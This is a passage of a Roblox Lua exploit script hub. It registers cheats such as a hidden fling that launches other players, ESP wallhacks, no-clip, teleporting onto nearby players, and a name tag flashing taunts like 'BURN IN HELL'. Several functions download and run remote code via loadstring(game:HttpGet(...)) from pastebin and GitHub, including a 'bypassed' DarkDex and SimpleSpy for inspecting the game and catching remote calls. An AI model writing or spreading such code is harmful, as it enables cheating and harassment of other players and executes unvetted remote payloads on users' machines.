character:WaitForChild("Humanoid") local torso = character:WaitForChild("Torso") local hrp = character:WaitForChild("HumanoidRootPart") local tool = Instance.new("Tool") tool.Name = "Slash" tool.RequiresHandle = false tool.Parent = player.Backpack tool.Activated:Connect(function() local animation = Instance.new("Animation") animation.AnimationId = "rbxassetid://186934658" local track = humanoid:LoadAnimation(animation) track:Play() track:AdjustSpeed(2) local s = Instance.new("Sound", torso) s.SoundId = "rbxassetid://28144425" s:Play() task.wait(0.2) local s2 = Instance.new("Sound", torso) s2.SoundId = "rbxassetid://429400881" s2.Volume = 0.2 s2:Play() end) local naeeym = Instance.new("BillboardGui", character) naeeym.Size = UDim2.new(0, 100, 0, 40) naeeym.StudsOffset = Vector3.new(0, 2, 0) naeeym.Adornee = character:WaitForChild("Head") local tecks = Instance.new("TextLabel", naeeym) tecks.BackgroundTransparency = 1 tecks.BorderSizePixel = 0 tecks.Font = Enum.Font.Fantasy tecks.TextSize = 24 tecks.TextStrokeTransparency = 0 tecks.TextStrokeColor3 = Color3.new(0, 0, 0) tecks.TextColor3 = Color3.new(0, 0, 0) tecks.Size = UDim2.new(1, 0, 0.5, 0) tecks.Text = "John Doe" local function changeName(newName) tecks.Text = newName end local function shakeTag() local originalOffset = naeeym.StudsOffset for _ = 1, 10 do naeeym.StudsOffset = originalOffset + Vector3.new(math.random(-1,1), math.random(-1,1), math.random(-1,1)) task.wait(0.05) end naeeym.StudsOffset = originalOffset end coroutine.wrap(function() while character:IsDescendantOf(workspace) do changeName("BURN IN HELL") shakeTag() task.wait(0.2) changeName("STOP") task.wait(0.1) changeName("JUST GIVE UP") shakeTag() task.wait(0.2) changeName("STOP") shakeTag() task.wait(0.2) changeName("JOHN DOE") shakeTag() task.wait(0.3) changeName("HOPELESS") shakeTag() task.wait(0.3) end end)() local footPartSize = Vector3.new(10, 0.5, 10) local floorPartColor = BrickColor.Black() local floorMaterial = Enum.Material.Neon local yOffset = -2.8 local lastPosition = hrp.Position local standingTimer = 0 RunService.Heartbeat:Connect(function(dt) if not character:IsDescendantOf(workspace) then return end local currentPosition = hrp.Position standingTimer += dt local distanceMoved = (currentPosition - lastPosition).Magnitude local stepPosition = Vector3.new(currentPosition.X, hrp.Position.Y + yOffset, currentPosition.Z) local function createFootstep(position) local part = Instance.new("Part") part.Size = footPartSize part.Position = position part.Anchored = true part.CanCollide = false part.BrickColor = floorPartColor part.Material = floorMaterial part.Transparency = 0.5 part.Parent = workspace task.spawn(function() for i = 1, 10 do part.Transparency = i * 0.03 task.wait(0.05) end end) Debris:AddItem(part, 1) end if distanceMoved > 1 then createFootstep(stepPosition) lastPosition = currentPosition standingTimer = 0 elseif standingTimer > 0.5 then createFootstep(stepPosition) standingTimer = 0 end end) local movel = 0.1 local hiddenfling = true local function fling() while hiddenfling and character:IsDescendantOf(workspace) do if hrp then local originalVelocity = hrp.Velocity hrp.Velocity = originalVelocity * 10000 + Vector3.new(0, 10000, 0) RunService.RenderStepped:Wait() hrp.Velocity = originalVelocity RunService.Stepped:Wait() hrp.Velocity = originalVelocity + Vector3.new(0, movel, 0) movel = -movel end RunService.Heartbeat:Wait() end end coroutine.wrap(fling)() end player.CharacterAdded:Connect(setupCharacter) if player.Character then setupCharacter(player.Character) end local Players = game:GetService("Players") local UserInputService = game:GetService("UserInputService") local player = Players.LocalPlayer local mouse = player:GetMouse() local function teleportToMousePosition() local character = player.Character if not character or not character:FindFirstChild("HumanoidRootPart") then return end local target = mouse.Hit if target then character:MoveTo(target.Position) end end UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed then return end if input.KeyCode == Enum.KeyCode.T then teleportToMousePosition() end end) end, "Trolling", "BROKEN") FunctionManager:register("Invis gui", function() loadstring(game:HttpGet('https://pastebin.com/raw/3Rnd9rHf'))() end, "Trolling", "Credits to the original maker!") FunctionManager:register("DANCE", function() local anim = Instance.new("Animation") anim.AnimationId = "rbxassetid://27789359" local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(anim) track:Play() end, "Fun", "DANCE DANCE") FunctionManager:register("Sound GUI", function() local gui = game.Players.LocalPlayer.PlayerGui:FindFirstChild("SoundGui") if gui then gui:Destroy() return end local SoundGui = Instance.new("ScreenGui") local Frame = Instance.new("Frame") local AddSoundId = Instance.new("TextButton") local SoundIds = Instance.new("TextBox") local Default = Instance.new("TextButton") local Credits = Instance.new("TextLabel") local Title = Instance.new("TextLabel") local Swap = Instance.new("ImageButton") local PlayBackSpeed = Instance.new("TextBox") local Volume = Instance.new("TextBox") local Looped = Instance.new("TextBox") local Exit = Instance.new("ImageButton") local Frame2 = Instance.new("Frame") local Open = Instance.new("ImageButton") local spoky = Instance.new("Sound") local c00lflag = Instance.new("Sound") local drag = Instance.new("UIDragDetector") drag.Parent = Frame c00lflag.Name = "c00lsound23sas" c00lflag.Parent = Frame spoky.Parent = Frame spoky.SoundId = "rbxassetid://95156028272944" spoky.Volume = 3 spoky.PlaybackSpeed = 0.2 spoky.Name = "spoky" --Properties: SoundGui.Name = "SoundGui" SoundGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") SoundGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling SoundGui.ResetOnSpawn = false Frame.Parent = SoundGui Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Frame.BorderColor3 = Color3.fromRGB(255, 0, 4) Frame.BorderSizePixel = 2 Frame.Position = UDim2.new(0, 700, 0, 300) Frame.Size = UDim2.new(0, 398, 0, 206) AddSoundId.Name = "AddSoundId" AddSoundId.Parent = Frame AddSoundId.BackgroundColor3 = Color3.fromRGB(0, 0, 0) AddSoundId.BorderColor3 = Color3.fromRGB(255, 0, 0) AddSoundId.BorderSizePixel = 2 AddSoundId.Position = UDim2.new(0.118090451, 0, 0.718446612, 0) AddSoundId.Size = UDim2.new(0, 307, 0, 36) AddSoundId.Font = Enum.Font.Arial AddSoundId.Text = "Add Sound!" AddSoundId.TextColor3 = Color3.fromRGB(255, 255, 255) AddSoundId.TextSize = 29.000 SoundIds.Name = "SoundIds" SoundIds.Parent = Frame SoundIds.BackgroundColor3 = Color3.fromRGB(0, 0, 0) SoundIds.BorderColor3 = Color3.fromRGB(255, 0, 0) SoundIds.BorderSizePixel = 2 SoundIds.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) SoundIds.Size = UDim2.new(0, 307, 0, 33) SoundIds.Font = Enum.Font.Arial SoundIds.PlaceholderText = "Add a sound ID here!, No rbx://" SoundIds.Text = "" SoundIds.TextColor3 = Color3.fromRGB(255, 255, 255) SoundIds.TextScaled = true SoundIds.TextSize = 14.000 SoundIds.TextWrapped = true Default.Name = "Default" Default.Parent = Frame Default.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Default.BorderColor3 = Color3.fromRGB(255, 0, 0) Default.BorderSizePixel = 2 Default.Position = UDim2.new(0.118090451, 0, 0.529126227, 0) Default.Size = UDim2.new(0, 307, 0, 28) Default.Font = Enum.Font.Arial Default.Text = "Spooky Scary Skeletons!" Default.TextColor3 = Color3.fromRGB(255, 255, 255) Default.TextSize = 23.000 Credits.Name = "Credits" Credits.Parent = Frame Credits.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Credits.BackgroundTransparency = 1.000 Credits.BorderColor3 = Color3.fromRGB(0, 0, 0) Credits.BorderSizePixel = 0 Credits.Position = UDim2.new(0.577889442, 0, 0.9174757, 0) Credits.Size = UDim2.new(0, 153, 0, 17) Credits.Font = Enum.Font.SourceSans Credits.Text = "made by: 1known. On discord!" Credits.TextColor3 = Color3.fromRGB(255, 255, 255) Credits.TextSize = 14.000 Title.Name = "Title" Title.Parent = Frame Title.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Title.BackgroundTransparency = 1.000 Title.BorderColor3 = Color3.fromRGB(255, 0, 4) Title.BorderSizePixel = 2 Title.Position = UDim2.new(0.208542719, 0, 0.0291262139, 0) Title.Size = UDim2.new(0, 231, 0, 48) Title.Font = Enum.Font.Arial Title.Text = "c00lSound GUI!" Title.TextColor3 = Color3.fromRGB(255, 255, 255) Title.TextSize = 33.000 Title.TextWrapped = true Swap.Name = "Swap" Swap.Parent = Frame Swap.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Swap.BorderColor3 = Color3.fromRGB(255, 0, 0) Swap.BorderSizePixel = 0 Swap.Position = UDim2.new(0.904522598, 0, 0.33495146, 0) Swap.Size = UDim2.new(0, 23, 0, 21) Swap.Image = "rbxassetid://2500573769" PlayBackSpeed.Name = "PlayBackSpeed" PlayBackSpeed.Parent = Frame PlayBackSpeed.BackgroundColor3 = Color3.fromRGB(0, 0, 0) PlayBackSpeed.BorderColor3 = Color3.fromRGB(255, 0, 0) PlayBackSpeed.BorderSizePixel = 2 PlayBackSpeed.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) PlayBackSpeed.Size = UDim2.new(0, 307, 0, 33) PlayBackSpeed.Visible = false PlayBackSpeed.Font = Enum.Font.Arial PlayBackSpeed.PlaceholderText = "Playback speed, Enter a number!" PlayBackSpeed.Text = "1" PlayBackSpeed.TextColor3 = Color3.fromRGB(255, 255, 255) PlayBackSpeed.TextScaled = true PlayBackSpeed.TextSize = 14.000 PlayBackSpeed.TextWrapped = true Volume.Name = "Volume" Volume.Parent = Frame Volume.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Volume.BorderColor3 = Color3.fromRGB(255, 0, 0) Volume.BorderSizePixel = 2 Volume.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) Volume.Size = UDim2.new(0, 307, 0, 33) Volume.Visible = false Volume.Font = Enum.Font.Arial Volume.PlaceholderText = "Volume! Enter a number." Volume.Text = "0.5" Volume.TextColor3 = Color3.fromRGB(255, 255, 255) Volume.TextScaled = true Volume.TextSize = 14.000 Volume.TextWrapped = true Looped.Name = "Looped" Looped.Parent = Frame Looped.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Looped.BorderColor3 = Color3.fromRGB(255, 0, 0) Looped.BorderSizePixel = 2 Looped.Position = UDim2.new(0.118090451, 0, 0.305825233, 0) Looped.Size = UDim2.new(0, 307, 0, 33) Looped.Visible = false Looped.Font = Enum.Font.Arial Looped.PlaceholderText = "Is it looped?, Type: False or True" Looped.Text = "False" Looped.TextColor3 = Color3.fromRGB(255, 255, 255) Looped.TextScaled = true Looped.TextSize = 14.000 Looped.TextWrapped = true Exit.Name = "Exit" Exit.Parent = Frame Exit.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Exit.BorderColor3 = Color3.fromRGB(255, 0, 0) Exit.BorderSizePixel = 2 Exit.Position = UDim2.new(0.921999991, 0, 0.0289999992, 0) Exit.Size = UDim2.new(0, 25, 0, 23) Exit.Image = "rbxassetid://14930908086" Frame2.Name = "Frame2" Frame2.Parent = SoundGui Frame2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Frame2.BorderColor3 = Color3.fromRGB(0, 0, 0) Frame2.BorderSizePixel = 0 Frame2.Position = UDim2.new(0.984443069, 0, 0.841666639, 0) Frame2.Size = UDim2.new(0, 25, 0, 23) Frame2.Visible = false Open.Name = "Open" Open.Parent = Frame2 Open.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Open.BorderColor3 = Color3.fromRGB(255, 0, 0) Open.BorderSizePixel = 2 Open.Position = UDim2.new(-0.0312646478, 0, -0.0113339629, 0) Open.Size = UDim2.new(0, 25, 0, 23) Open.Image = "rbxassetid://14930908086" -- Scripts: local function GSSVM_fake_script() -- AddSoundId.LocalScript local script = Instance.new('LocalScript', AddSoundId) local parent = script.Parent parent.Activated:Connect(function() local SoundId = parent.Parent:WaitForChild("SoundIds").Text local Playbackspeed = parent.Parent:WaitForChild("PlayBackSpeed").Text local Volume = parent.Parent:WaitForChild("Volume").Text local looped = parent.Parent:WaitForChild("Looped").Text if SoundId == "" then parent.Text = "No Sound ID!" wait(2) parent.Text = "Add Sound!" return end local id = "rbxassetid://" .. SoundId local speed = tonumber(Playbackspeed) or 1 local existingSound = game.Workspace:FindFirstChild("c00lsound23sas") if existingSound then existingSound.SoundId = id existingSound.PlaybackSpeed = speed existingSound.Volume = Volume if looped == "False" then existingSound.Looped = false elseif looped == "True" then existingSound.Looped = true else existingSound.Looped = false end existingSound:Play() else local clonedSound = parent.Parent.c00lsound23sas:Clone() clonedSound.Parent = game.Workspace clonedSound.SoundId = id clonedSound.PlaybackSpeed = speed clonedSound.Volume = Volume if looped == "False" then clonedSound.Looped = false elseif looped == "True" then clonedSound.Looped = true else clonedSound.Looped = false end clonedSound.Looped = looped clonedSound:Play() end parent.Text = "Injected Sound Succesfully!, Be sure to enter a correct ID if it doesnt work!" parent.TextScaled = true wait(3.5) parent.TextScaled = false parent.Text = "Add Sound!" end) end coroutine.wrap(GSSVM_fake_script)() local function MWUVEW_fake_script() -- Default.LocalScript local script = Instance.new('LocalScript', Default) local parent = script.Parent local sound = parent.Parent.spoky parent.Activated:Connect(function() if sound.Playing == true then sound.Playing = false else sound.Playing = true end end) end coroutine.wrap(MWUVEW_fake_script)() local function BIKZQ_fake_script() -- Swap.LocalScript local script = Instance.new('LocalScript', Swap) local parent = script.Parent local playback = parent.Parent.PlayBackSpeed local Sound = parent.Parent.SoundIds local volume = parent.Parent.Volume local looped = parent.Parent.Looped parent.Activated:Connect(function() if Sound.Visible == true then Sound.Visible = false playback.Visible = true volume.Visible = false looped.Visible = false elseif playback.Visible ==true then playback.Visible = false Sound.Visible = false volume.Visible = true looped.Visible = false elseif volume.Visible == true then Sound.Visible = false playback.Visible = false volume.Visible = false looped.Visible = true elseif looped.Visible == true then Sound.Visible = true playback.Visible = false volume.Visible = false looped.Visible = false end end) end coroutine.wrap(BIKZQ_fake_script)() local function AXYPXC_fake_script() -- Exit.LocalScript local script = Instance.new('LocalScript', Exit) local parent = script.Parent local main = parent.Parent parent.Activated:Connect(function() main.Parent.Frame2.Visible = true main.Visible = false end) end coroutine.wrap(AXYPXC_fake_script)() local function WHTXC_fake_script() -- Open.LocalScript local script = Instance.new('LocalScript', Open) local parent = script.Parent local main = parent.Parent.Parent.Frame parent.Activated:Connect(function() main.Visible = true parent.Parent.Visible = false end) end coroutine.wrap(WHTXC_fake_script)() end, "General", "NOT FE") FunctionManager:register("Bind Key", function() if bindFrame then return end local gui = Player:FindFirstChild("PlayerGui"):FindFirstChild(die) if not gui then NotifyERROR("Gui not found!"); return end screenGui = gui bindFrame = Instance.new("Frame") bindFrame.Name = generate_string(math_random(1, 10)) bindFrame.Size = UDim2.new(1,0,1,0) bindFrame.BackgroundColor3 = Color3.new(0,0,0) bindFrame.BackgroundTransparency = 0.5 bindFrame.ZIndex = 50 bindFrame.Parent = screenGui local panel = Instance.new("Frame") panel.Name = generate_string(math_random(1, 10)) panel.Size = UDim2.new(0, 300, 0, 400) panel.Position = UDim2.new(0.5, -150, 0.5, -200) panel.BackgroundColor3 = Color3.fromRGB(35,35,35) panel.BorderSizePixel = 0 panel.ZIndex = 51 panel.Parent = bindFrame local closeBtn = Instance.new("TextButton") closeBtn.Size = UDim2.new(0, 60, 0, 24) closeBtn.Position = UDim2.new(1, -64, 0, 4) closeBtn.Text = "Close" closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 14 closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50) closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.ZIndex = 52 closeBtn.Parent = panel closeBtn.MouseButton1Click:Connect(function() bindFrame:Destroy() bindFrame = nil if bindConn then bindConn:Disconnect(); bindConn = nil end end) local title = Instance.new("TextLabel") title.Size = UDim2.new(1, -8, 0, 24) title.Position = UDim2.new(0, 4, 0, 4) title.BackgroundTransparency = 1 title.Font = Enum.Font.SourceSansBold title.TextSize = 18 title.TextColor3 = Color3.new(1,1,1) title.Text = "Bind Key to Function" title.ZIndex = 52 title.Parent = panel local list = Instance.new("ScrollingFrame") list.Size = UDim2.new(1, -8, 1, -40) list.Position = UDim2.new(0, 4, 0, 32) list.CanvasSize = UDim2.new(0,0,0,0) list.ScrollBarThickness = 6 list.ZIndex = 51 list.Parent = panel local uiList = Instance.new("UIListLayout") uiList.Padding = UDim.new(0,4) uiList.SortOrder = Enum.SortOrder.LayoutOrder uiList.Parent = list local function refreshList() for _, child in ipairs(list:GetChildren()) do if child:IsA("TextButton") or child:IsA("TextLabel") then child:Destroy() end end for _, cat in ipairs(FunctionManager.Categories) do local hdr = Instance.new("TextLabel") hdr.Size = UDim2.new(1,0,0,24) hdr.BackgroundTransparency = 1 hdr.Font = Enum.Font.SourceSansBold hdr.TextSize = 16 hdr.TextColor3 = Color3.new(1,1,0) hdr.Text = "["..cat.."]" hdr.ZIndex = 51 hdr.Parent = list for name, cb in pairs(FunctionManager:getFunctionsInCategory(cat)) do local btn = Instance.new("TextButton") btn.Size = UDim2.new(1,0,0,24) btn.Font = Enum.Font.SourceSans btn.TextSize = 14 btn.BackgroundColor3 = Color3.fromRGB(50,50,50) btn.TextColor3 = Color3.new(1,1,1) btn.ZIndex = 51 local bound = {} for key, fn in pairs(customBinds) do if fn == cb then table.insert(bound, tostring(key)) end end local suffix = #bound>0 and " ("..table.concat(bound, ",")..")" or "" btn.Text = name..suffix btn.Parent = list btn.MouseButton1Click:Connect(function() waitingBindFunction = { cb = cb, btn = btn, name = name } btn.Text = name.." → [Press a key]" end) end end list.CanvasSize = UDim2.new(0,0,0, uiList.AbsoluteContentSize.Y + 8) end bindConn = UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed or not waitingBindFunction then return end if input.UserInputType == Enum.UserInputType.Keyboard then customBinds[input.KeyCode] = waitingBindFunction.cb waitingBindFunction.btn.Text = waitingBindFunction.name.." ("..tostring(input.KeyCode)..")" waitingBindFunction = nil end end) refreshList() end, "Utility", "BUGGED") UserInputService.InputBegan:Connect(function(input, gameProcessed) if gameProcessed then return end if input.UserInputType == Enum.UserInputType.Keyboard then local fn = customBinds[input.KeyCode] if fn and type(fn) == "function" then pcall(fn) end end end) FunctionManager:register("JumpUp", function() local char = Player.Character local hrp = char and char:FindFirstChild("HumanoidRootPart") if hrp then hrp.Velocity = Vector3.new(0, 100, 0) end end, "Movement", "Leap into the air!") FunctionManager:register("Sit", function() local hum = Player.Character and Player.Character:FindFirstChildOfClass("Humanoid") if hum then hum.Sit = true end end, "Movement", "SIT DOWN") FunctionManager:register("INF JUMP", function() infJumpEnabled = not infJumpEnabled if infJumpEnabled then local debounce = false infJumpConnection = UserInputService.JumpRequest:Connect(function() if debounce then return end debounce = true local character = Player.Character local humanoid = character and character:FindFirstChildWhichIsA("Humanoid") if humanoid then humanoid:ChangeState(Enum.HumanoidStateType.Jumping) end task.wait() debounce = false end) else if infJumpConnection then infJumpConnection:Disconnect() infJumpConnection = nil end end end, "Movement", "Jump Forever!") FunctionManager:register("WalkSpeed Slider", function() if screenGui:FindFirstChild("WalkSpeedModal") then return end local overlay = Instance.new("Frame") overlay.Name = "WalkSpeedModal" overlay.Size = UDim2.new(1,0,1,0) overlay.Position = UDim2.new(0,0,0,0) overlay.BackgroundColor3 = Color3.new(0,0,0) overlay.BackgroundTransparency = 0.5 overlay.ZIndex = 50 overlay.Parent = screenGui local panel = Instance.new("Frame") panel.Name = "SliderPanel" panel.Size = UDim2.new(0, 300, 0, 100) panel.Position = UDim2.new(0.5, -150, 0.5, -50) panel.BackgroundColor3 = Color3.fromRGB(40,40,40) panel.BorderSizePixel = 0 panel.ZIndex = 51 panel.Parent = overlay local closeBtn = Instance.new("TextButton") closeBtn.Name = "Close" closeBtn.Size = UDim2.new(0,60,0,24) closeBtn.Position = UDim2.new(1,-64,0,4) closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 14 closeBtn.Text = "Close" closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50) closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.ZIndex = 52 closeBtn.Parent = panel closeBtn.MouseButton1Click:Connect(function() overlay:Destroy() end) local label = Instance.new("TextLabel") label.Name = "ValueLabel" label.Size = UDim2.new(1,-8,0,24) label.Position = UDim2.new(0,4,0,4) label.BackgroundTransparency= 1 label.Font = Enum.Font.SourceSansBold label.TextSize = 18 label.TextColor3 = Color3.new(1,1,1) label.Text = "WalkSpeed: " .. tostring(Humanoid.WalkSpeed) label.ZIndex = 52 label.Parent = panel local track = Instance.new("Frame") track.Name = "Track" track.Size = UDim2.new(1,-16,0,20) track.Position = UDim2.new(0,8,0,40) track.BackgroundColor3 = Color3.fromRGB(60,60,60) track.BorderSizePixel = 0 track.ZIndex = 51 track.Parent = panel local fill = Instance.new("Frame") fill.Name = "Fill" fill.Size = UDim2.new( math.clamp((Humanoid.WalkSpeed - 8)/(100-8),0,1), 0, 1, 0 ) fill.BackgroundColor3 = Color3.fromRGB(100,200,100) fill.BorderSizePixel = 0 fill.ZIndex = 52 fill.Parent = track local dragging = false local minS, maxS = 8, 100 local function update(x) local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1) local v = math.floor(minS + (maxS-minS)*rel) Humanoid.WalkSpeed = v label.Text = "WalkSpeed: "..v fill.Size = UDim2.new(rel,0,1,0) end track.InputBegan:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = true update(i.Position.X) end end) track.InputEnded:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = false end end) UserInputService.InputChanged:Connect(function(i) if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then update(i.Position.X) end end) end, "Movement", "Control your walkspeed!") FunctionManager:register("Server Hop", function() local success, res = pcall(function() return game:HttpGet( "https://games.roblox.com/v1/games/" .. PlaceId .. "/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true" ) end) if not success then return NotifyERROR("[Server Hop] HTTP request failed") end local body local ok, err = pcall(function() body = HttpService:JSONDecode(res) end) if not ok or type(body) ~= "table" or type(body.data) ~= "table" then return NotifyERROR("[Server Hop] Invalid JSON response") end local servers = {} for _, v in ipairs(body.data) do if type(v) == "table" and tonumber(v.playing) and tonumber(v.maxPlayers) and v.playing < v.maxPlayers and v.id ~= JobId then table.insert(servers, v.id) end end if #servers == 0 then return NotifyERROR("[Server Hop] No available servers found") end local choice = servers[math.random(1, #servers)] TeleportService:TeleportToPlaceInstance(PlaceId, choice, Players.LocalPlayer) end, "Utility","Changes Servers") FunctionManager:register("TP Behind Closest", function() if not HRP then NotifyERROR("No HumanoidRootPart found.") return end local closestPlayer local shortestDistance = math.huge for _, otherPlayer in ipairs(Players:GetPlayers()) do if otherPlayer ~= Player and otherPlayer.Character then local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart") if otherRoot then local distance = (otherRoot.Position - HRP.Position).Magnitude if distance < shortestDistance then shortestDistance = distance closestPlayer = otherPlayer end end end end if closestPlayer and closestPlayer.Character then local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart") if targetRoot then local behindPosition = targetRoot.CFrame.Position - targetRoot.CFrame.LookVector * 3 local newCFrame = CFrame.new(behindPosition, targetRoot.Position) HRP.CFrame = newCFrame end else NotifyERROR("No nearby player found.") end end, "Movement", "Owai moi, shinderu. NANI?") FunctionManager:register("Scare Closest Player", function() if not HRP then NotifyERROR("Could not find your HumanoidRootPart.") return end local closestPlayer, closestDistance = nil, math.huge for _, otherPlayer in ipairs(Players:GetPlayers()) do if otherPlayer ~= Player and otherPlayer.Character then local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart") if otherRoot then local dist = (otherRoot.Position - HRP.Position).Magnitude if dist < closestDistance then closestDistance = dist closestPlayer = otherPlayer end end end end if closestPlayer and closestPlayer.Character then local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart") if targetRoot then local oldPos = HRP.CFrame HRP.CFrame = targetRoot.CFrame + targetRoot.CFrame.lookVector * 2 HRP.CFrame = CFrame.new(HRP.Position, targetRoot.Position) task.wait(0.5) HRP.CFrame = oldPos end else NotifyERROR("No target player nearby.") end end, "Fun", "FNAF reference") FunctionManager:register("ESP Toggle", function() espOn = not espOn for _, plr in ipairs(Players:GetPlayers()) do if plr.Character and plr ~= Player then local head = plr.Character:FindFirstChild("Head") if head then local bb = head:FindFirstChild("ESP") or Instance.new("BillboardGui", head) bb.Name = "ESP" bb.Size = UDim2.new(0,80,0,20) bb.AlwaysOnTop = true local lbl = bb:FindFirstChild("Name") or Instance.new("TextLabel", bb) lbl.Name = "Name" lbl.BackgroundTransparency = 1 lbl.Size = UDim2.new(1,0,1,0) lbl.TextColor3 = Color3.new(1,0,0) lbl.TextScaled = true lbl.Text = plr.Name bb.Enabled = espOn end end end Notify("ESP " .. (espOn and "Enabled" or "Disabled"), "SYSTEM", 3) end, "Visual", "ur cooked i just got wallhacks") FunctionManager:register("JumpPowerSlider", function() if screenGui:FindFirstChild("JumpPowerModal") then return end Humanoid.UseJumpPower = true local overlay = Instance.new("Frame") overlay.Name = "JumpPowerModal" overlay.Size = UDim2.new(1,0,1,0) overlay.Position = UDim2.new(0,0,0,0) overlay.BackgroundColor3 = Color3.new(0,0,0) overlay.BackgroundTransparency = 0.5 overlay.ZIndex = 50 overlay.Parent = screenGui local panel = Instance.new("Frame") panel.Name = "JumpPanel" panel.Size = UDim2.new(0, 300, 0, 100) panel.Position = UDim2.new(0.5, -150, 0.5, -50) panel.BackgroundColor3 = Color3.fromRGB(40,40,40) panel.BorderSizePixel = 0 panel.ZIndex = 51 panel.Parent = overlay local closeBtn = Instance.new("TextButton") closeBtn.Name = "Close" closeBtn.Size = UDim2.new(0,60,0,24) closeBtn.Position = UDim2.new(1,-64,0,4) closeBtn.Font = Enum.Font.SourceSansBold closeBtn.TextSize = 14 closeBtn.Text = "Close" closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50) closeBtn.TextColor3 = Color3.new(1,1,1) closeBtn.ZIndex = 52 closeBtn.Parent = panel closeBtn.MouseButton1Click:Connect(function() overlay:Destroy() end) local label = Instance.new("TextLabel") label.Name = "ValueLabel" label.Size = UDim2.new(1,-8,0,24) label.Position = UDim2.new(0,4,0,4) label.BackgroundTransparency= 1 label.Font = Enum.Font.SourceSansBold label.TextSize = 18 label.TextColor3 = Color3.new(1,1,1) label.Text = "JumpPower: " .. tostring(Humanoid.JumpPower) label.ZIndex = 52 label.Parent = panel local track = Instance.new("Frame") track.Name = "Track" track.Size = UDim2.new(1,-16,0,20) track.Position = UDim2.new(0,8,0,40) track.BackgroundColor3 = Color3.fromRGB(60,60,60) track.BorderSizePixel = 0 track.ZIndex = 51 track.Parent = panel local fill = Instance.new("Frame") fill.Name = "Fill" fill.Size = UDim2.new( math.clamp((Humanoid.JumpPower - 50)/(200-50),0,1), 0, 1, 0 ) fill.BackgroundColor3 = Color3.fromRGB(100,200,100) fill.BorderSizePixel = 0 fill.ZIndex = 52 fill.Parent = track local dragging = false local minJ, maxJ = 50, 200 local function update(x) local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1) local v = math.floor(minJ + (maxJ-minJ)*rel) Humanoid.JumpPower = v label.Text = "JumpPower: "..v fill.Size = UDim2.new(rel,0,1,0) end track.InputBegan:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = true update(i.Position.X) end end) track.InputEnded:Connect(function(i) if i.UserInputType == Enum.UserInputType.MouseButton1 then dragging = false end end) UserInputService.InputChanged:Connect(function(i) if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then update(i.Position.X) end end) end, "Movement", "Control your jumppower") FunctionManager:register("Spin Bot", function() spinOn = not spinOn if spinOn then if not HRP then return NotifyERROR("No HRP!") end lockBP = Instance.new("BodyPosition") lockBP.Name = "SpinLockBP" lockBP.Position = HRP.Position lockBP.MaxForce = Vector3.new(1e6, 1e6, 1e6) lockBP.P = 1e5 lockBP.D = 0 lockBP.Parent = HRP spinBAV = Instance.new("BodyAngularVelocity") spinBAV.Name = "SpinBAV" spinBAV.AngularVelocity = Vector3.new(0, 10000, 0) spinBAV.MaxTorque = Vector3.new(1e6, 1e6, 1e6) spinBAV.P = 1e5 spinBAV.Parent = HRP NotifyERROR("Spin Bot On") else if spinBAV then spinBAV:Destroy() spinBAV = nil end if lockBP then lockBP:Destroy() lockBP = nil end NotifyERROR("Spin Bot Off") end end, "Visual", "Speeeeen") FunctionManager:register("TP To Mouse", function() if hit then HRP.CFrame = CFrame.new(pos + Vector3.new(0, 3, 0)) warn("Teleported to mouse") end end, "Movement", "BUGGED") FunctionManager:register("Save Position", function() savedCFrame = HRP.CFrame Notify("Position Saved", "SYSTEM", 3) end, "Utility", "Checkpoint") FunctionManager:register("Load Position", function() if savedCFrame then HRP.CFrame = savedCFrame Notify("Position Loaded", "SYSTEM", 3) else NotifyERROR("No Position Saved") end end, "Utility", "Reload") FunctionManager:register("No‑Clip", function() noclipOn = not noclipOn if noclipOn then hoverHeight = HRP.Position.Y while noclipOn == true do task.wait(0.01) for _, part in ipairs(Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = false end end local pos = HRP.Position HRP.CFrame = CFrame.new(pos.X, hoverHeight, pos.Z) end Notify("No‑Clip ON (locked at height)", "SYSTEM", 3) else for _, part in ipairs(Character:GetDescendants()) do if part:IsA("BasePart") then part.CanCollide = true end end Notify("No‑Clip OFF", "SYSTEM", 3) end end, "Movement", "NOCLIP") FunctionManager:register("DarkDex", function() --Maybe works? loadstring(game:HttpGet("https://raw.githubusercontent.com/Babyhamsta/RBLX_Scripts/main/Universal/BypassedDarkDexV3.lua", true))() end, "General", "Take a peek under the hood") FunctionManager:register("SimpleSpy", function() --also maybe works? loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/SimpleSpyV3/main.lua"))() end, "Catch remotes") 